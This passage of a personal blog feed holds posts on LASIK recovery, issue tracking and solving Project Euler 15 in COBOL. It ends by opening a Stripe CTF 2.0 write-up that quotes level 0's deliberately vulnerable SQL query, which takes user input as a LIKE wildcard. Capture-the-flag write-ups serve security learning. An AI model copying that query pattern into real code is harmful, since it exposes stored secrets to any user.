<p>Let me explain how this works: lasik is the process of reshaping the cornea (the outer, clear coating in front of your iris and pupil) with a laser.  But they don’t just shave off the outer surface; they cut a thin hinged ring in the <em>outer</em> cornea, peel that back, and do the actual correction on the middle layers.  This is about as disgusting as it sounds.</p>

<p>So, the first half is to actually make this flap.  Apparently this was originally done with a metal blade (!!!), but I had all-laser lasik, which involves using a different laser to make a layer of tiny bubbles within the cornea, which then naturally separate the top layer away to make the flap.  It involves having a cylinder attached around the iris with suction to keep my eye open and steady.  They told me I would feel “a little pressure”, but let me tell you, it felt more like my eyes were going to be sucked out into space.  The actual laser wasn’t so bad; stare at a red dot, feel a little weird for like ten seconds, and then it’s done.  My vision went dim and foggy for a bit, and they said the worst was over.</p>

<p>They were <em>wrong</em>.</p>

<p>Part two is the actual lasiking.  A different bed, a different laser, a different thing under my eyelids to keep them open.  (ugh)  Everything was pretty blurry the entire time there, and the actual laser didn’t feel like anything.  But the worst part was when the doctor peeled the flap back.  <em>Peeled.</em>  I couldn’t really feel what he was doing, but I realized here my mistake in having watched Mel’s operation last year: I’d seen this before.  He was dragging a squeegee across my eye.  I swear to god that is basically what it is.  It was cool and wet and I imagined the sound it would make and it creeped the hell out of me.  I swore I’d pop the stress balls.</p>

<p>Fiddling with the flap actually took longer than the lasering, which was all of seven seconds per eye.  There was one little thing they didn’t tell me, which was that I could very briefly <em>smell</em> my eyeball being singed away.  I think the laser technically “vaporizes” rather than burning, but ultimately that puts eyeball molecules in the air and some of them went up my nose and it was very distinct and very gross.  I managed to not leap off the table and run screaming for the door, and then it was done.</p>

<p>I could immediately see better.  Uncanny, really.  The world was kind of foggy, like someone had turned the bloom up a little too high, but it was <em>crisp</em> and foggy.  I don’t really know how to describe how “foggy” is distinct from “blurry” but the difference was extremely obvious.</p>

<p>One last glance in my eyes and one more set of eyedrops and I was done and could just walk out.  I left my glasses in their donation bucket, in case someone else happens to have exactly my prescription.</p>

<h2 id="aftermath">Aftermath</h2>

<p>I had to keep my eyes closed for 3–5 hours afterwards, so Mel drove us home.  My eyes were kind of sore immediately afterwards, like I’d been awake for 72 hours and also dumped sand in them, and I grumbled about this until I dozed off in the car, and then again on the couch at home.  (They recommend just taking a nap anyway.  I wasn’t tired, but something about keeping your eyes closed for an hour has a way of putting you to sleep.)</p>

<p>I woke up some four hours later feeling much better, and it’s gradually gotten better since.  I have antibacterial eyedrops I have to take four times a day, as well as artificial tears I have to use to keep my eyes from drying out <em>every hour</em>—which sounds like a lot, but honestly, my eyes dry out fast enough that I’m probably using them more frequently than that.  I’m not thrilled about having to drip stuff in my eyes, but it feels <em>so good</em>.</p>

<p>I still have flaps healing on both eyes, so I can’t rub them or otherwise touch them at all, lest I totally fuck up my corneas.  I even have some sweet shades to wear while I’m asleep.</p>

<p>Vision is absolutely serviceable.  There’s a halo effect on light sources, like <em>monitors</em>, but that’s common and tends to go away after a few days—it’s already improved since yesterday.  I think it’s caused by swelling while the cornea heals.  It makes lots of text on a screen a little tedious to read in the meantime, though.  Can’t really scan; have to read one line at a time.  I can’t imagine doing any heavy programming like this and will probably take a sick day tomorrow if it hasn’t cleared up considerably.</p>

<p>As of right now, my eyes are still a touch sore when I blink, and I still sometimes feel like I have a grain of sand or something in one of them, but otherwise I’m fine.  There is the minor side effect of having <a href="https://pbs.twimg.com/media/A5uUeV5CMAAhO2z.jpg:large">super ultra gross big red splotches on my sclerae</a>—apparently these are “bruises” from the suction used while cutting the flap.  I have a followup appointment tomorrow to make sure I’m not going blind or anything, and then another in several weeks, but I seem to be home free.</p>

<h2 id="thoughts">Thoughts</h2>

<p>This was a really unnerving experience.  If you’re considering lasik, you probably shouldn’t be reading this post.  It’s over pretty quick, though.</p>

<p>They gave me some Valium to reduce anxiety.  I was actually looking forward to that, because brain filters are endlessly fascinating, but as far as I could tell it didn’t help at all.  I still felt pretty goddamn anxious the entire time.  I’m just too much of a chicken, and even psychoactive drugs are no match for me.  But I did it anyway, hey, so you have no excuse.</p>

<p>Little pricey—$3500—and was actually cheaper <em>without</em> insurance for <code>&lt;%= reason %&gt;</code>, but that money was either going towards better eyesight or a stack of thirteen Android tablets, so.</p>

<p>I asked the doctor whether it’s true that looking at screens for extended periods actually damages your eyes, and she confirmed that it is <em>not</em>.  But it does tend to dry your eyes out, because you blink less.  In fact, I’ve used <a href="http://veekun.com/dex/moves/fake%20tears">fake tears</a> twice while writing this post.  Even more reason not to sit here for hours on end for the next day or two.  8)</p>

<p>I keep getting the urge to put my glasses on, of course.  It’s very strange to <em>not</em> have them on, after four or so years of wearing them.  I thought I looked better with slightly-nerdy glasses, too, so either someone needs to tell me I’m wrong or I need to find a new facial accessory.  I don’t want to be one of Those People who wears neutral-lens glasses, though.</p>

<p>You know, I still don’t recall a specific moment where I actually decided to do this, which makes it just a tad surreal in retrospect.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Issues]]></title>
    <link href="http://me.veekun.com/blog/2012/10/16/issues/"/>
    <updated>2012-10-16T19:03:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/10/16/issues</id>
    <content type="html"><![CDATA[<p>I love tinkering with things, but in the absence of external stimuli (like, “it’s my job”), I’m pretty bad at <em>finishing</em> things.  Instead I gradually accrete a ball of projects, todo lists, XXX comments, half-written blog posts, and mental notes-to-self.  Eventually the mental load becomes overwhelming and I freak out at how many recreational things I “have” to do.</p>

<p><em>So</em> I spent much of last weekend trying to alleviate this, by dumping various todo files and the contents of my head and tabs that have been open for months and half of my <a href="http://workflowy.com/">Workflowy</a> into issue trackers.  I know, duh, but I always get out of the habit of using them, and then it seems like more effort to get back into the habit than to just jot down or remember one more thing.  Maybe this time it’ll stick.  I have far more brain to be dumped, but what’s left is generally more detailed planning that won’t come into focus until I sit down to seriously work on the corresponding project.  The real test will be whether I keep filing tickets as they come to mind.  And actually, like, assign them to myself.  And do them!  Whoa.</p>

<p>I’m also making an effort to make my code more accessible to anyone who wants to contribute to it; I’ve been using git and GitHub for ages and attracted a couple pull requests, but I’m pretty lax about even <em>build</em> documentation.  I wrote a few READMEs to alleviate this, and will be writing some more as I touch repositories that lack them.</p>

<p>Oh, if you give half a crap about what I hack, I’ve thrown together a <a href="http://me.veekun.com/projects/">projects page</a> listing some of the things I’ve started attempting to build.  Or you could just look at <a href="https://github.com/eevee">my GitHub</a>, really.  Feel free to contribute, or tell me how I’m making it hard to contribute.</p>

<p>And I totally cut down on the number of distinct <a href="http://me.veekun.com/blog/categories/">categories</a> I was using for this blog, so when I start posting more than once a month, categories will be useful for sifting through posts!</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Heteroglot: #15 in COBOL]]></title>
    <link href="http://me.veekun.com/blog/2012/09/07/heteroglot-number-15-in-cobol/"/>
    <updated>2012-09-07T23:17:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/09/07/heteroglot-number-15-in-cobol</id>
    <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Many moons ago, I started a ridiculous quest to solve every <a href="http://projecteuler.net/about">Project Euler</a> problem, in order, with a different programming language.  I called it “<a href="https://github.com/eevee/project-euler/tree/master/heteroglot">heteroglot</a>”.</p>

<p>Partway through that, I gave myself the additional unwritten rule that the next language would be selected by polling the nearest group of nerds.  This has resulted in math problems solved in such wildly inappropriate languages as <a href="https://github.com/eevee/project-euler/blob/master/heteroglot/008.vim">vimscript</a>, <a href="https://github.com/eevee/project-euler/blob/master/heteroglot/007.mps">MUMPS</a>, <a href="https://github.com/eevee/project-euler/blob/master/heteroglot/009.lol">LOLcode</a>, and <a href="https://github.com/eevee/project-euler/blob/master/heteroglot/014.xsl">XSLT</a>.</p>

<p>It’s been a while since I did one of these, but I still remember that the next language I’m stuck using is COBOL.  I don’t know who suggested it, but I hope he chokes on a rake.  ♥</p>

<p>I figure if this is interesting to me, it might be interesting to someone else.  So let’s learn some math and/or COBOL.</p>

<!-- more -->

<h2 id="the-math">The math</h2>

<p><img class="right" src="http://projecteuler.net/project/images/p_015.gif" title="Problem 15 illustration" alt="Illustration of the six paths from the top-left to bottom-right of a 2×2 grid, following the grid lines." /></p>

<p><a href="http://projecteuler.net/problem=15">Problem 15</a>:</p>

<blockquote>
  <p>Starting in the top left corner of a 2×2 grid, there are 6 routes (without backtracking) to the bottom right corner.</p>

  <p>How many routes are there through a 20×20 grid?</p>
</blockquote>

<p>There are two approaches to solving this: actually <em>count</em> every path, or invent a formula.  I’d like to spend as little time with COBOL as possible today, so let’s try the latter approach.</p>

<p>So, find a pattern.</p>

<ul>
  <li>In the trivial case (0×0), there’s only 1 path.</li>
  <li>For 1×1, there are 2 paths: effectively clockwise and counter-clockwise.</li>
  <li>The problem already states that 2×2 has 6 paths.</li>
</ul>

<p>Now, wait.  Before considering 3×3, bear in mind: nothing about this problem requires that the grid be <em>square</em>.  Think of some other small sizes:</p>

<ul>
  <li>0×1 and 0×2 also have only one path.  Naturally, any grid with either dimension of 0 will have only one possible path, because it’s a straight line.</li>
  <li>
    <p>1×2 has 3 paths: clockwise, counter-clockwise, and through the middle in an S shape.</p>

    <pre><code>  @@@@    @--+    @--+
  ¦  @    @  ¦    @  ¦
  +--@    @--+    @@@@
  ¦  @    @  ¦    ¦  @
  +--@    @@@@    +--@
</code></pre>
  </li>
  <li>
    <p>Consider 1×3.  It has four horizontal grid lines, making for 4 possible paths: one for each horizontal line.</p>

    <pre><code>  @@@@    @--+    @--+    @--+
  ¦  @    @  ¦    @  ¦    @  ¦
  +--@    @@@@    @--+    @--+
  ¦  @    ¦  @    @  ¦    @  ¦
  +--@    +--@    @@@@    @--+
  ¦  @    ¦  @    ¦  @    @  ¦
  +--@    +--@    +--@    @@@@
</code></pre>
  </li>
</ul>

<p>Has a pattern emerged?</p>

<pre><code>· | 0   1   2   3
--+--------------
0 | 1   1   1   1
1 | 1   2   3   4
2 | 1   3   6
3 | 1   4
</code></pre>

<p>Oh ho ho.  Yes, yes it has.  Tilt that table diagonally.</p>

<pre><code>        1
      1   1
    1   2   1
  1   3   3   1
1   4   6   4   1
</code></pre>

<p>This is Pascal’s Triangle.</p>

<p>In retrospect, this makes perfect sense.  Consider the 3×3 grid.  Starting from the top left, there are only two possible directions to go: right, or down.  If you go right, you can only follow the possible paths for a 2×3 grid.  If you go down, you can only follow the possible paths for a 3×2 grid.  And none of them can overlap, because you started differently.</p>

<pre><code>+--+--+--+      @@@@--+--+    @
¦  ¦  ¦  ¦         ¦  ¦  ¦    @
+--+--+--+         +--+--+    @--+--+--+
¦  ¦  ¦  ¦  =&gt;     ¦  ¦  ¦    ¦  ¦  ¦  ¦
+--+--+--+         +--+--+    +--+--+--+
¦  ¦  ¦  ¦         ¦  ¦  ¦    ¦  ¦  ¦  ¦
+--+--+--+         +--+--+    +--+--+--+
</code></pre>

<p>So in the table, any given number is the sum of the number immediately to its left and immediately above it: the two solutions for the same-size grid with one fewer row or one fewer column.  That’s exactly how Pascal’s Triangle is created.</p>

<p>In the <code>n</code>th row of the triangle, the number at offset <code>r</code> (both counting from zero) is given by <code>nCr(n, r)</code>.  All I need now is to convert a grid size <code>a×b</code> to a row in the triangle.  Each triangle row is a diagonal of the original table, so you get the row number from <code>a + b</code>, and the offset is either <code>a</code> or <code>b</code>.  The answer is then <code>nCr(a + b, a)</code>.</p>

<p>Check against what I know: 1×1 is <code>nCr(2, 1) = 2</code>, 2×2 is <code>nCr(4, 2) = 6</code>.  0-by-anything is 1.  Lookin good.</p>

<p>From here I could just figure it out with a calculator, but that’s cheating.  Time to find a COBOL compiler.</p>

<h2 id="the-code">The code</h2>

<p>I’m on Arch, and the first thing I found was <a href="http://www.opencobol.org/">OpenCOBOL</a>, <a href="http://aur.archlinux.org/packages.php?ID=21860">on the AUR</a>, so I’m installing this bad boy.  Your results may vary, if for some reason you’re following along.</p>

<pre><code>eevee@perushian ~ ⚘ sudo packer -S open-cobol
</code></pre>

<p>Now I need to learn some COBOL.  OpenCOBOL’s site helpfully links this <a href="http://opencobol.add1tocobol.com/OpenCOBOL%20Programmers%20Guide.pdf">OpenCOBOL Programmer’s Guide</a>.  Let’s see what I have here.</p>

<blockquote>
  <p>1.3.1. “I Heard COBOL is a Dead Language!”
Phoenician is a dead language. Mayan is a dead language. Latin is a dead language. What makes these languages dead is the fact that no one speaks them anymore. COBOL is NOT a dead language, and despite pontifications that come down to us from the ivory towers of academia, it isn’t even on life support.</p>
</blockquote>

<blockquote>
  <p>As more and more people became at least informed about programming if not downright skilled, the syntax of COBOL became one of the reasons the ivory-tower types wanted to see it eradicated.</p>
</blockquote>

<p>My archaeological adventure is off to a fantastic start.</p>

<p>Right, well, step two: what the hell does a program look like?  I am dimly away that COBOL has a lot of wordy setup and DIVISIONs of code or data or something.  Section 2 starts to explain this setup.  The only required part of a COBOL program appears to be <code>PROGRAM-ID. {program-name}</code>, but that won’t actually do anything.  So I think I’ll actually need something more like this:</p>

<pre><code>IDENTIFICATION DIVISION.
PROGRAM-ID. project-euler-15

DATA DIVISION.
// something to specify 20 by 20

PROCEDURE DIVISION.
// make it go

END PROGRAM project-euler-15.
</code></pre>

<p>That last part isn’t actually necessary if I’m only building one file, but I like the feeling of talking to a computer with no prepositions or particles.  Reminds me a little of <a href="http://www.digitalmzx.net/wiki/index.php?title=Robotic">Robotic</a>.</p>

<p>At this point I like to stick my no-op program in a file and compile it, just to make sure I have <em>something</em> valid (and also to figure out how to compile).  Here I discover several things.</p>

<ul>
  <li>COBOL source is <code>.cob</code>.  Or <code>.cbl</code>, but that’s not as funny.</li>
  <li>vim has built-in COBOL syntax highlighting.</li>
  <li>Because “indented block” is nonsense in COBOL, the shift operators (<code>&lt;</code> and <code>&gt;</code>) do nothing.  (The above block was indented, because my blog is all Markdown, and I had to outdent it manually.)</li>
  <li>Everything about the code above is wrong.  Everything.  Every single character is syntax colored as an error.</li>
</ul>

<p>I’m having flashbacks to <a href="http://en.wikipedia.org/wiki/MUMPS">MUMPS</a> already.</p>

<p>Let’s continue reading.  In §1.5, “Source Program Format”, it is revealed that the compiler can run in two modes: fixed (the default) and free.  Fixed mode uses “traditional” 80-column formatting.  This rings some faint bells: COBOL is all about the columns.  What column does code need to start in?  Fuck if I know.  I can’t find anywhere in the documentation for this compiler that actually explains how fixed mode <em>works</em>.</p>

<p>Back to the website, and I find that the <em>online</em> <a href="http://www.opencobol.org/modules/bwiki/index.php?UserManual">User Manual</a> is not very thorough but <em>does</em> contain an example <a href="http://www.opencobol.org/modules/bwiki/index.php?cmd=read&amp;page=UserManual%2F1#content_1_1">hello world</a> program, which explicitly states that program lines must start in column 8.</p>

<p>And, indeed, indenting everything by 7 spaces makes vim happy.  Now I have:</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
</pre></td><td class="code"><pre><code class=""><span class="line">   IDENTIFICATION DIVISION.
</span><span class="line">   PROGRAM-ID. project-euler-15
</span><span class="line">
</span><span class="line">   DATA DIVISION.
</span><span class="line">  * something to specify 20 by 20
</span><span class="line">
</span><span class="line">   PROCEDURE DIVISION.
</span><span class="line">  * make it go
</span><span class="line">
</span><span class="line">   END PROGRAM project-euler-15.</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Haha, and people complain that Python has significant whitespace.  You assholes.  Guess what I’m linking you next time I hear that.</p>

<p>At last, time to try running this thing.  The <a href="http://www.opencobol.org/modules/bwiki/index.php?cmd=read&amp;page=UserManual%2F1#content_1_1">hello world</a> program comes with super simple instructions for that, too.</p>

<pre><code>⚘ cobc -x 015.cob
⚘ ./015
</code></pre>

<p>Success!  Nothing happened.</p>

<h3 id="do-a-thing">Do a thing</h3>

<p>First is the seed data, which here is just the size of the grid: 20×20.  I’m gonna go out on a limb here and guess that data goes in the <code>DATA DIVISION</code>.  This handy programmer guide has a page-sized diagram of the syntax for defining data and many more pages of the clusterfuck that is record syntax, but luckily there’s a much simpler way to define <em>constants</em>:</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class=""><span class="line">78 foo VALUE IS bar.</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>The <code>78</code> is a “level”, an ancient incantation used to specify just how deep in the hierarchy a datum is.  In this case <code>78</code> happens to be a special level used only for constants.</p>

<p>Before trying to run this again, it’d be helpful to print out the constants and make sure I’ve actually defined them correctly.  This is done with <code>DISPLAY</code>.  (The same statement, inexplicably, also inspects command-like arguments and gets/sets environment variables.  What.)</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
<span class="line-number">15</span>
<span class="line-number">16</span>
<span class="line-number">17</span>
<span class="line-number">18</span>
<span class="line-number">19</span>
<span class="line-number">20</span>
<span class="line-number">21</span>
</pre></td><td class="code"><pre><code class=""><span class="line">   IDENTIFICATION DIVISION.
</span><span class="line">   PROGRAM-ID. project-euler-15
</span><span class="line">
</span><span class="line">
</span><span class="line">   DATA DIVISION.
</span><span class="line">   WORKING-STORAGE SECTION.
</span><span class="line">
</span><span class="line">  * grid size: 20 x 20
</span><span class="line">   78 width VALUE IS 20.
</span><span class="line">   78 height VALUE IS 20.
</span><span class="line">
</span><span class="line">
</span><span class="line">   PROCEDURE DIVISION.
</span><span class="line">
</span><span class="line">   DISPLAY width
</span><span class="line">       UPON CONSOLE
</span><span class="line">   DISPLAY height
</span><span class="line">       UPON CONSOLE
</span><span class="line">
</span><span class="line">
</span><span class="line">   END PROGRAM project-euler-15.</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>The <code>UPON CONSOLE</code> is entirely optional but it looks like I’m hacking a mainframe so I’m including it anyway.</p>

<p>And, whoops, this totally doesn’t work.  Unsurprisingly, the <code>PROCEDURE DIVISION</code> needs code to be in…  procedures.  I had to give up and just look at the same programs here, but the short version is, do this:</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class=""><span class="line">   PROCEDURE DIVISION.
</span><span class="line">   do-the-needful.
</span><span class="line">       DISPLAY width
</span><span class="line">           UPON CONSOLE
</span><span class="line">       DISPLAY height
</span><span class="line">           UPON CONSOLE
</span><span class="line">       .</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Compile, run, and get <code>20</code> twice.  Off to a fabulous start.</p>

<p>Just need the math.</p>

<p>A flip through the list of statements finds me <code>PERFORM</code>, which both calls procedures and acts like a loop.  I might as well make this a real program, so let’s do both and write a real function.  Sorry, procedure.</p>

<p>I want to implement nCr().  I need a numerator and denominator accumulator, a loop of <code>r</code> times, and some multiplication.  Seems easy enough.</p>

<p>The first stumbling block is, er, creating variables.  There’s nothing to do that.  They all go in the <code>DATA DIVISION</code>.  <em>All</em> of them.  In this case I want a <code>LOCAL-STORAGE</code> section, which is re-initialized for every procedure—that means it should act like a local.</p>

<p>I want a loop variable, a numerator, a denominator, and two arguments.</p>

<p>Arguments.</p>

<p>Hmmmm.</p>

<p>It is at this point that I begin to realize that COBOL procedures do not take arguments or have return values.  Everything appears to be done with globals.</p>

<p>There’s a <code>CALL</code> statement, but it calls <em>subprograms</em>—that is, a whole other <code>IDENTIFICATION DIVISION</code> and everything.  And even that uses globals.  Also it thinks <code>BY VALUE</code> for passing means to pass a <em>pointer address</em>, and passing literals <code>BY REFERENCE</code> allows the callee to mutate that literal anywhere else it appears in the program, and various other bizarre semantics.</p>

<p>Let’s, um, just go with the globals.  Some fumbling produces:</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
</pre></td><td class="code"><pre><code class=""><span class="line">   n-choose-r.
</span><span class="line">       MOVE 1 TO numerator
</span><span class="line">       MOVE 1 TO denominator
</span><span class="line">       PERFORM VARYING i FROM 1 BY 1 UNTIL i &gt; r
</span><span class="line">           MULTIPLY i BY denominator
</span><span class="line">           COMPUTE numerator = numerator * (n - i + 1)
</span><span class="line">       END-PERFORM
</span><span class="line">       COMPUTE n-choose-r-result = numerator / denominator
</span><span class="line">       .</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>A note on assignment in COBOL: there isn’t any.  Instead, there are several different statements for different kinds of assigning.  <code>ADD</code>, <code>SUBTRACT</code>, <code>MULTIPLY</code>, and <code>DIVIDE</code> all divide a variable or a literal (but <em>not an expression!</em>) into a variable and store the result into that variable.  <code>MOVE</code> stores a variable or a literal (but, again, not an expression) into a variable.  <code>COMPUTE</code> stores an arbitrary expression into a variable.  I assume <code>COMPUTE</code>, um, came later.</p>

<p>Anyway, the idea here would be that you store the arguments into the <code>n</code> and <code>r</code> globals, <code>PERFORM</code> this procedure or paragraph or whatever, then get your result out of the <code>n-choose-r-result</code> global.  The globals are in the <code>DATA DIVISION</code> like this:</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
</pre></td><td class="code"><pre><code class=""><span class="line">   LOCAL-STORAGE SECTION.
</span><span class="line">
</span><span class="line">  * used by n-choose-r
</span><span class="line">   01 i                            USAGE IS UNSIGNED-LONG.
</span><span class="line">   01 n                            USAGE IS UNSIGNED-LONG.
</span><span class="line">   01 r                            USAGE IS UNSIGNED-LONG.
</span><span class="line">   01 numerator                    USAGE IS UNSIGNED-LONG.
</span><span class="line">   01 denominator                  USAGE IS UNSIGNED-LONG.
</span><span class="line">   01 n-choose-r-result            USAGE IS UNSIGNED-LONG.</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>(<code>UNSIGNED-LONG</code> is a 64-bit unsigned machine integer, the biggest machine number COBOL appears to have.)</p>

<p>Compile it, run it, and the answer is…  6.</p>

<p>Hmmm.</p>

<p>A little <code>DISPLAY</code>ing reveals that the numerator and denominator print as 688017186506670080 and 432902008176640000, respectively.  It looks like 64 bits is not enough, and I’m overflowing.  Oops.</p>

<p>Well.  I could set out to see if COBOL does bignums or if the whole <code>PIC</code> thing supports arbitrary precision, but I’m scared to think what I might find.  Instead, let’s do some more math.</p>

<p>Consider that <code>nCr(n, r)</code> for any nonnegative integers <code>n</code> and <code>r</code> is always, itself, an integer.  (This isn’t too hard to prove informally, but just accepting it is enough.)  So I know:</p>

<pre><code>nCr(n, 1) = n / 1
nCr(n, 2) = n * (n - 1) / (2 * 1)
          = n / 1 * (n - 1) / 2
nCr(n, 3) = n * (n - 1) * (n - 2) / (3 * 2 * 1)
          = n / 1 * (n - 1) / 2 * (n - 2) / 3
</code></pre>

<p>I can take advantage of this to minimize the intermediate results without ever worrying about floating-point.  (Does COBOL support floating-point?  Christ, I don’t want to know.)</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class=""><span class="line">   n-choose-r.
</span><span class="line">       MOVE 1 TO n-choose-r-result
</span><span class="line">       PERFORM VARYING i FROM 1 BY 1 UNTIL i &gt; r
</span><span class="line">           COMPUTE n-choose-r-result =
</span><span class="line">               n-choose-r-result * (n - i + 1) / i
</span><span class="line">       END-PERFORM
</span><span class="line">       .</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This produces the answer: <code>000000137846528820</code>.</p>

<p>Er…  eh, close enough.  And <a href="http://www.tek-tips.com/viewthread.cfm?qid=1637735">the internets</a> suggest it may not really be possible to avoid the leading zeroes.</p>

<p>Throw it at Euler and, indeed, this is correct.  Phew.  Done!  The final program is <a href="https://github.com/eevee/project-euler/blob/master/heteroglot/015.cob">015.cob</a>.</p>

<h2 id="impression">Impression</h2>

<p>COBOL is even more of a lumbering beast than I’d imagined; everything is global, “procedures” are barely a level above goto, and the bare metal shows through in crazy places like the possibility of changing the value of a literal (what).</p>

<p>On the other hand, I can see how the design maps pretty naturally <em>to</em> bare metal, and the alternatives at the time were Fortran and ALGOL.  Ada didn’t exist.  C didn’t exist.  Hell, B didn’t exist.  The original Lisp paper had only just been published!  In that light, COBOL is a reasonably impressive piece of work, which I will never use again if I can possibly avoid it.</p>

<p>One thing that slightly bewilders me is how COBOL came to <em>both</em> have so many ways to do the same thing, yet <em>also</em> so heavily reuse some keywords.  <code>DISPLAY</code> both prints stuff out and messes with environment variables.  <code>PERFORM</code> both calls a procedure and performs a loop.  Or calls a procedure in a loop.  And it has some pretty complex syntax for determining when the loop ends and how many times it runs and whether there’s an incrementor.  It even has syntax explicitly designed for doing nested loops without actually having to nest loops.  What?</p>

<p>As a closing note, consider: just like MUMPS, second-hand experience tells me that there are still big high-level government/financial COBOL applications probably handling your money.  Sleep well.</p>

<h2 id="more-choice-quotes-about-cobol">More choice quotes about COBOL</h2>

<p>I can’t resist.  This programmer’s guide is <em>amazing</em>.  I know COBOL is ass-old, but this guide was published in 2009!</p>

<p>On endianness.</p>

<blockquote>
  <p>All CPUs are capable of “understanding” big-endian format, which makes it the “most-compatible” form of binary storage across computer systems.</p>

  <p>Some CPUs – such as the Intel/AMD i386/x64 architecture processors such as those used in most Windows PCs – prefer to process binary data stored in a little-endian format. Since that format is more efficient on those systems, it is referred to as the “native” binary format.</p>
</blockquote>

<p>On working with libraries.</p>

<blockquote>
  <p>Today’s current programming languages have a statement (usually, this statement is named “include” or “#include”) that performs this same function. What makes the COBOL copybook feature different than the “include” facility in current languages, however, is the fact that the COBOL COPY statement can edit the imported source code as it is being copied. This capability enables copybook libraries extremely valuable to making code reusable.</p>
</blockquote>

<p>On whitespace.</p>

<blockquote>
  <p>A comma character (“,”) or a semicolon (“;”) may be inserted into an OpenCOBOL program to improve readability at any spot where white space would be legal (except, of course, within alphanumeric literals). These characters are always optional. COBOL standards require that commas be followed by at least one space, when they’re used. Many modern COBOL compilers (OpenCOBOL included) relax this rule, allowing the space to be omitted in most instances.  This can cause “confusion” to the compiler if the DECIMAL POINT IS COMMA clause is used (see section 4.1.4).</p>
</blockquote>

<p>On the <code>DISPLAY</code> statement.</p>

<blockquote>
  <p>The specified mnemonic-name must be CONSOLE, CRT, PRINTER or any user-defined mnemonic name associated with one of these devices within the SPECIAL-NAMES paragraph (see section 4.1.4). All such mnemonics specify the same destination – the shell (UNIX) or console (Windows) window from which the program was run.</p>
</blockquote>

<h2 id="next-up">Next up</h2>

<p>I suppose I’m obliged to try using the first language someone suggests in the comments.  You can see what’s been used so far by browsing the <a href="https://github.com/eevee/project-euler/tree/master/heteroglot">existing solutions</a>.  The rules therein may also be of interest.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Stripe CTF 2.0]]></title>
    <link href="http://me.veekun.com/blog/2012/08/29/stripe-ctf-2-dot-0/"/>
    <updated>2012-08-29T19:59:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/08/29/stripe-ctf-2-dot-0</id>
    <content type="html"><![CDATA[<p>This is <a href="https://stripe-ctf.com/progress/eevee">a thing I did</a>.  It was a <a href="https://stripe-ctf.com/">cracking contest</a> held by <a href="https://stripe.com/">Stripe</a> (who run a pretty neat service, btw), and it ended today.  I was third to beat level 7 and twentieth to beat level 8, so here is the tale of how I came upon the solutions.</p>

<p>I haven’t reproduced the entirety of each puzzle below, because that would suck, but if you’re lucky maybe you can still <a href="https://stripe-ctf.com/">sign up</a> and follow along.  If not, Stripe has promised to release the puzzles (and solutions) tomorrow.  I think.</p>

<!-- more -->

<h2 id="level-0-secret-safe">Level 0: Secret Safe</h2>

<p>This one was written in JavaScript and implemented really simple security-by-obscurity storage: you provide a namespace, and it either stores data for you under some key or tells you all keys and data stored under that namespace.</p>

<p>This was the intro level, so the solution was pretty obvious, but actually less obvious than I expected for a level called “0”.  The offending line is:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="js"><span class="line">    <span class="kd">var</span> <span class="nx">query</span> <span class="o">=</span> <span class="s1">&#39;SELECT * FROM secrets WHERE key LIKE ? || &quot;.%&quot;&#39;</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

